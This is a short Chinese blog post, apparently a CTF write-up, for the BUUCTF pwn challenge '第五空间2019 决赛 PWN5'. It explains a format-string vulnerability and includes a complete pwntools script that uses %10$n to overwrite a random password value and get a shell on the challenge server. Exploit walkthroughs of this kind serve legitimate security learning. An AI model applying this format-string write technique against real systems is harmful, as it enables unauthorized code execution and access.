buuctf pwn [第五空间2019 决赛]PWN51

kids-syc

于 2024-09-27 19:50:51 发布

阅读量347

点赞数 10

文章标签：前端 javascript 开发语言

本文链接：https://blog.csdn.net/m0_74125780/article/details/142601015

版权

首先用checksec检查一下，发现是32位的，还有栈保护。

然后将其放入ida32，查看main函数，幸运的发现有system。然后接下来就是理解这段反编译代码在讲什么，它的意思是它会随机生成一个4字节大小的数据，然后我们输入的passwd要与其相等。但是我们并不知道它随机生成的是什么，所以我们可以进行替换，将它随机生成的数替换成我们要输入的数。这里便涉及到格式化字符串漏洞。

首先我们可以知道的是，随机生成的数据的开始地址0x804c044。

然后我们再找我们输入的地址，aaaa%p… 32位测输入点偏移，找到0x62626262(bbbb)，数一下刚好是第10位。利用%10$n定位到这个位置

接下来写代码

from pwn import *
io=remote('node5.buuoj.cn',29319)
io.recvuntil('your name:')
payload= p32(0x804c044)+b'%10$n'
io.sendline(payload)
io.recvuntil('your passwd:')
io.sendline(b'4')
io.interactive()